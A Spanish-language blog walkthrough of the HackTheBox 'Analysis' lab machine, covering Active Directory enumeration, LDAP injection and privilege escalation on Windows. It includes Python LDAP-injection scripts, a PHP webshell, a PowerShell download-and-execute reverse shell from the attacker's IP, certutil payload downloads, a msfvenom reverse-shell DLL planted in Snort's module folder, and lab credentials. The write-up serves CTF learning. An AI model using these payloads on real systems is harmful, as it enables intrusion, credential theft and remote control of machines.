Skip to main content

Command Palette

Search for a command to run...

Analysis - HackTheBox

Resolución de la maquina Analysis de HackTheBox

Updated
11 min read

Hey Jude, tranquilo ya estoy aquí para tu CTF.

Old Man Eating Bread GIF | GIFDB.com

Descripción de la maquina.

Sistema OperativoWindows
DificultadDifícil
Lanzamiento20/01/2024
CreadorUVision
Primer UsuariomyDonut
Primer Rootjkr

Enumeración

Empezamos con un nmap y hacemos uso de la utilidad extractPorts.

sudo nmap -p- -sS --min-rate 7000 -Pn -n 10.10.11.250 -oG allports
extractPorts allports
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,3306,5985,9389,33060,47001,49664,49665,49666,49667,49671,49674,49675,49678,49679,49694,49709,49981 -sVC 10.10.11.250 -oN tageted

Tenemos bastantes puertos abiertos, pero que no cunda el pánico.

NOTA: Es muy probable que si un windows presenta los puertos 88(TCP) Kerberos, 53(TCP) DNS y 389(TCP) LDAP estemos frente a un Domain Controller.

Kerberos Brute Force

Teniendo en cuenta que esta el puerto kerberos, podemos aplicar fuerza bruta para descubrir usuarios con kerbrute.

kerbrute userenum --dc 10.10.11.250 -d analysis.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

En este punto puede ir por un café y tendrá algunos usuarios descubiertos.

Por ahora no podemos hacer nada con esto, así que podemos continuar enumerando tranquilamente.

Observando el resultado del puerto 389 de LDAP en el escaneo con nmap, vemos que hace alusión al dominio analysis.htb, así que lo relacione con su IP, en el archivo /etc/hosts

...
10.10.11.250 analysis.htb
...

Al visitar http://10.10.11.250 no obtuve nada, aplique un poco de fuzzing, pero nada internaste.

Spongebob Cockroach GIF - Spongebob Cockroach Hamburger - Discover & Share  GIFs | Spongebob memes, Spongebob, Spongebob painting

Así que me pase a visitar el dominio analysis.htb

Explorando el sitio no encontré nada interesante, así que me dispuse a enumerar algunos subdominios en caso de que se este aplicando virtualhost con ffuf

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.analysis.htb" -u http://10.10.11.250 -mc all -ac

Y tenemos un subdominio 😃, procedí a declararlo en nuestro /etc/hosts

Visitamos y...

No tenemos nada, apliquemos un fuzzing con Feroxbuster en busca de directorios o archivos php ya que la extensión Wappalyzer nos informa que la web interpreta php

feroxbuster -u http://internal.analysis.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php

Encontramos algunas rutas que llaman la atención, pero las mas relevantes son:

Al visitar /employees/login.php, tenemos un... Login y ya, ah este punto podemos realizar fuerza bruta con los usuarios que tenemos, pero, perderemos el tiempo.

Por lo tanto me pase a observar /users/list.php, y tenemos lo siguiente.

Bien, esta solo responde con un mensaje indicando que falta un parámetro, ¿pero que parámetro?

Podemos buscar el parámetro con gobuster.

gobuster fuzz -u http://internal.analysis.htb/users/list.php?FUZZ= -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-length 17

Vemos que el parámetro es name al enviar un valor aleatorio, solo obtenemos esto:

Observando las propiedades de la tabla, estas tiene similitud con las propiedades por defecto de LDAP, así que muy posible que lo que muestre sean usuarios LDAP.

Ahora si por detrás tenemos una consulta LDAP podemos hacer una inyección, como las inyecciones SQL, pero con diferente sintaxis.

¿Como lo podemos comprobar? ingresando ?name=a* la cual en la sintaxis LDAP significa que devuelva cualquier usuario que empiece por a.

Por ejemplo:

Patricio Frotándose Las Manos GIF - Patrick Plan Malvado - Discover & Share  GIFs

LDAP Injection

Excelente no?, tenemos otra vía potencial para enumerar usuarios. Ahora lo idean seria ir probando con a,b,c y todo el abecedario para descubrir otros usuarios. Para esto vamos a realizar un script en python.

#!/usr/bin/env python3

import requests
import re
import signal
import pdb
import time
import sys
import string


from termcolor import colored
from pwn import * 

def handler(sig, frame):
    print(colored("Saliendo...", 'red'))
    sys.exit(1)

#Al precionar CTRL+C se ejecuta la funcion handler.
signal.signal(signal.SIGINT, handler)

#variables globales
url = "http://internal.analysis.htb/users/list.php?name="
characters = string.ascii_lowercase

def ldap_injection():
    #barras de progreso
    p1 = log.progress("Ldap Injection")
    p1.status("Starting Ldap Injection")

    time.sleep(2)

    #iteremos el abecedario dos veces
    for first_character in characters:
        for second_character in characters:

            p1.status(url + f"{first_character}{second_character}*")
            #realiza la peticion con la inyeccion
            response = requests.get(url + f"{first_character}{second_character}*")
            username = re.findall(r'<strong>(.*?)</strong>', response.text)[0]

            #verificamos si se econtro un usuario
            if "CONTACT_" not in username:
                print(colored(f"[*] Valid user: {username}",'blue'))

if __name__ == '__main__':
    ldap_injection()

Ejecutamos...

Y tenemos mas usuarios, los guardamos junto con los otros usuarios que encontramos con kerbrute, en un archivo.

Con esta lista podemos hacer varias cosas, como tratar de autenticarse al AD utilizando los usuarios como contraseña, esto suele ser común en entornos reales, por ejemplo:

jdoe:jdoe

Esto lo podemos hacer con netexec

netexec smb 10.10.11.250 -u users.txt -p users.txt --no-bruteforce

Pero no tenemos resultados, también podemos probar un brute force clásico con solo la lista de usuarios.

netexec smb 10.10.11.250 -u users.txt -p users.txt

Pero tampoco tenemos resultados.

Regresemos a la consulta LDAP.

Tenemos varios campos, pero no son todos los que existen en un registro LDAP, así que podemos realizar una inyección para ver que usuarios tiene datos en otra propiedad.

Aquí tiene una lista de las propiedades LDAP.

Como por ejemplo la propiedad "description", así que vamos a verificar en cada usuario si tenemos datos en esta propiedad.

De la siguiente forma:

#Inyection: technician)(description={abc}*
http://internal.analysis.htb/users/list.php?name=technician)(description={description}{character}*

De tal manera que vamos a ir probando en un usuarios, si esta el carácter "a" por ejemplo en la propiedad "description", si esta "a" buscamos el siguiente carácter "b", así hasta descubrir todos lo caracteres de una descripción.

Para esto modificamos el script.

#!/usr/bin/env python3

import requests
import re
import signal
import pdb
import time
import sys
import string


from termcolor import colored
from pwn import * 

def handler(sig, frame):
    print(colored("Saliendo...", 'red'))
    sys.exit(1)

#Al precionar CTRL+C se ejecuta la funcion handler.
signal.signal(signal.SIGINT, handler)

url = "http://internal.analysis.htb/users/list.php?name="
#lista de caracteres, como abecedario(minusculas y mayusculas), numeros y simbolos
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits + '.*$%&@#'
users = ['technician', 'jdoe', 'ajohnson', 'cwilliams','wsmith','jangel','amanson','lzen','badam']


def ldap_injection():
    description=""

    #barras de progreso
    p1 = log.progress("Ldap Injection")
    p1.status("Starting Ldap Injection")
    p3 = log.progress("Description")
    time.sleep(2)

    #Se asume que la descripcion no es mayor a 30 caracteres
    for position in range(30):
        for character in characters:
            try:

                p1.status(url + f"technician)(description={description}{character}*")
                response = requests.get(url + f"technician)(description={description}{character}*")
                username = re.findall(r'<strong>(.*?)</strong>', response.text)[0]

                #si tenemos technician en la tabla, significa que si existe tal caracter
                #en la descripcion, asi que la guardamos y continuamos con el siguiente
                #caracter.
                if "technician" in username:
                    description += character
                    p3.status(description)
                    time.sleep(2)
                    break
            except:
                description += character
                p3.status(description)
                time.sleep(2)
                break

if __name__ == '__main__':
    ldap_injection()

Este script esta explicado paso a paso en el write-up de s4vitar.

Lo ultimo que nos queda es probar...

Y teniendo un poco de fe, parece que la descripción del usuario technician parece una contraseña, probemos con autenticarnos al AD, pero muy probablemente las multiples "a" se deban a un error así que las elimine y probé.

Como puede ver tuve varios intentos y fui borrando los caracteres ya que posiblemente el conflicto de la inyección estaba en concatenar un ** ya que, como sabrás * es parte de sintaxis de LDAP.

Bien, tenemos nuestras primeras credenciales, así que me dispuse a enumerar las carpetas compartidas.

netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --shares

Pero no hay nada interesante.

Contemplando las credenciales podemos realizar un RID-Brute para enumerar grupos y usuarios del sistema con netexec

netexec smb 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv' --rid-brute

Por ahora no podemos hacer mucho con esta información, así que podemos probar con otras cosas, por ejemplo, recordemos que tenemos el puerto 5985 que corresponde al servicio WinRM probemos si el usuarios technician pertenece al grupo de administradores remotos.

evil-winrm -i 10.10.11.250 -u 'technician' -p '97NTtl*4QP96Bv''

Pero no tenemos acceso ya que el usuario technician no esta el grupo de administradores remotos.

Peroo lo que si podemos hacer es ver quien es parte del grupo de administradores remotos por medio de ldapdomaindump y las credenciales de technician

ldapdomaindump -u 'analysis\technician' -p '97NTtl*4QP96Bv' 10.10.11.250

Como resultado tendremos unos archivos html que podemos visitar desde la web, alojando los resultados en un servidor con python3.

De entrada el sistema esta en el idioma francés, pero podemos identificar el grupo "Administradores de gestión a distancia" que es que otorga permisos para usar WinRM

Haciendo click en el grupo, vemos que están los usuarios:

  • wsmith

  • jdoe

Así que si tenemos acceso alguno de estos usuarios sabremos que podremos conectarnos por WinRM y obtener una shell.

Recordemos el login que encontramos anteriormente en internal.analysis.htb

Si bien pudimos hacer bruteforce pero no lo hicimos, podemos probar con las credenciales que tenemos de technician

Y funcionan!

Carlitos Bailando Bailarin Cumbia GIF - Carlitos Bailando Carlitos Bailarin  Cumbia - Discover & Share GIFs

Explorando un poco el panel, nos topamos con esta característica que nos permite subir un archivo.

Provee en subir un archivo .png, pero me indico lo siguiente.

Afortunadamente, solo es una advertencia sobre el tamaño del archivo, pero también nos indica la ruta de donde lo guarda, así que esto es genial.

Que Genial Genial GIF - Que Genial Genial Bien - Discover & Share GIFs

Con Wappalyzer nos damos cuenta que interpreta php, así que probemos en subir una webshell

<?php
echo "<pre>".shell_exec($_GET['cmd'])."</pre>";
?

Guardamos lo anterior en un archivo y subimos.

Excelente, ahora consultemos la ruta /uploads/cmd.php

Perfecto, cabe destacar que subir un archivo que me entablara una shell reversa, pero mataba, por eso el uso de la webshell.

Pero ahora si, vamos por una shell reversa con powershell, tenemos un repositorio de git que ya nos proporciona la script, así que lo descargamos.

git clone https://github.com/samratashok/nishang
cp nishang/Shells/Invoke-PowerShellTcp.ps1 .

Al copiar el script requerimos añadir la siguiente linea al final del archivo.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.137 -Port 4444

Después nos colocamos en escucha.

rlwrap -cAR nc -lnvp 4444

Y alojamos el pepe.ps1 en un servicio web.

python3 -m http.server 9000

Por ultimo ejecutamos el siguiente comando en nuestra webshell

powershell IEX(New-Object New.WebClient).downloadString(http://10.10.14.137:9000/pepe.ps1)

Con este ya tendremos nuestra shell.

Swat GIF - SWAT - Discover & Share GIFs

Escalada de privilegios

Para iniciar con esta despapaye, vamos a utilizar winPEAS para que nos enumere posibles vías potenciales para una escalada de privilegios.

Así que procedemos a descargar el binario winPEASx64.exe en nuestra maquina, para después alojarlo en un servicio web y descargarlo en la maquina victima con certutil.exe

cd c:/windows/temp
certutil.exe -f -urlcache -split http://10.10.14.137:9000/winPEASx64.ex

Por comodidad, vamos a guardar el output en un archivo txt.

.\winPEASx64.exe > output.txt

Lo copiamos a la ruta web, donde tenemos nuestra web shell

copy output.txt c:/inetpub/internal/dashboard/uploads/output.txt

Por ultimo lo descargamos en nuestra maquina para verlo con colorines.

wget http://internal.analysis.htb/dashboard/uploads/output.txt
cat output.txt

Observar la información, nos topamos con unas credenciales almacenadas en el AutoLogon.

Credenciales del usuario jdoe 👀 usuario que es miembro del administradores remotos, es decir que podemos hacer uso del evil-winrm para obtener una shell.

Pero primero comprobemos si las credenciales son validas para el servicio WinRM con netexec

netexec winrm 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

Y en efecto, tiene permiso, así que nos conectamos rápidamente.

Flash Kid GIF - Flash Kid - Discover & Share GIFs

evil-winrm -i 10.10.11.250 -u 'jdoe' -p '7y4Z4^*y9Zzj'

Explorando lo archivos del sistema tenemos la carpeta c:/snort un IDS que posiblemente este en ejecución, pero que por ahora no a tenido una presencia de sus habilidades.

Pero explorando la documentación de Snort, tenemos algo interesante, una carga de módulos dinamos.

¿Que quiere decir esto? que en algún lugar , snort cuenta con una carpeta de módulos que carga al iniciar snort o cada cierto tiempo, el punto es que si tenemos permisos en esa carpeta posiblemente podremos un modulo con alguna carga maliciosa y que se ejecute con el usuario quien controla el proceso, que al ser un IDS este muy probablemente se ejecute con privilegios elevados.

Pero primero debemos encontrar la carpeta donde se almacena estos módulos, lo podemos saber desde el archivo de configuración en c:/snort/etc/snort.conf

Cree una carpeta para probar si tenemos permisos de escritura y en efecto lo tenemos.

También podrá observar que los módulos de cargar son de tipo .dll, por lo tanto podemos crear un payload que nos devuelva una shell reversa en formato .dll con msfvenom, cargarla en la carpeta y esperar.

Así que vamos...

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.137 LPORT=9001 -f dll -a x64 -o shell.dll

Lo alojamos en un servidor web.

Lo descargamos en la maquina victima con certutil.exe

certutil.exe -f -urlcache -split http://10.10.14.137:9002/shell.dll

Y por ultimo copiamos el shell.dll a la carpeta de módulos de snort

copy shell.dll C:\Snort\lib\snort_dynamicpreprocessor\shell.dll

Ahora solo toca espera.

Funny Seagull Eating Out French Fries GIF | GIFDB.com

Y en efecto tenemos la shell y con el usuario administrador

Eso fue todo.

Fue un placer querido lector, hasta luego!

GIF 1967 the beatles magical mystery tour - GIF animado en GIFER - de  Feloginn


Referencias

  1. HackTheBox | Analysis [OSCP Style] (TWITCH LIVE)

  2. 0xdf - HTB: Analysis

  3. The Beatles - Hey Jude


Técnicas empleadas

  • SMB Enumeration

    Virtual HostingSubdomain Enumeration

    Kerberos - User Brute Force Enumeration (kerbrute)

    Web Fuzzing LDAP Injection

    Creating a Python script to easily exploit LDAP injection

    Discovering valid users through LDAP injection

    Enumerating user description through LDAP injection + Information Leakage

    Testing ASREPRoast attack (impacket-GetNPUsers)

    Testing Kerberoasting attack (impacket-GetUsersSPNs)

    Exploitation of a customized analysis panel

    Creating a PHP webshell for command execution + Reverse Shell with Nishang

    System enumeration with WinPeas

    Obtaining user credentials stored in the autologon registry

    Abusing Snort (Loading Dynamic Modules) [Privilege Escalation]

    Creation of malicious DLL with msfvenom for loading into snort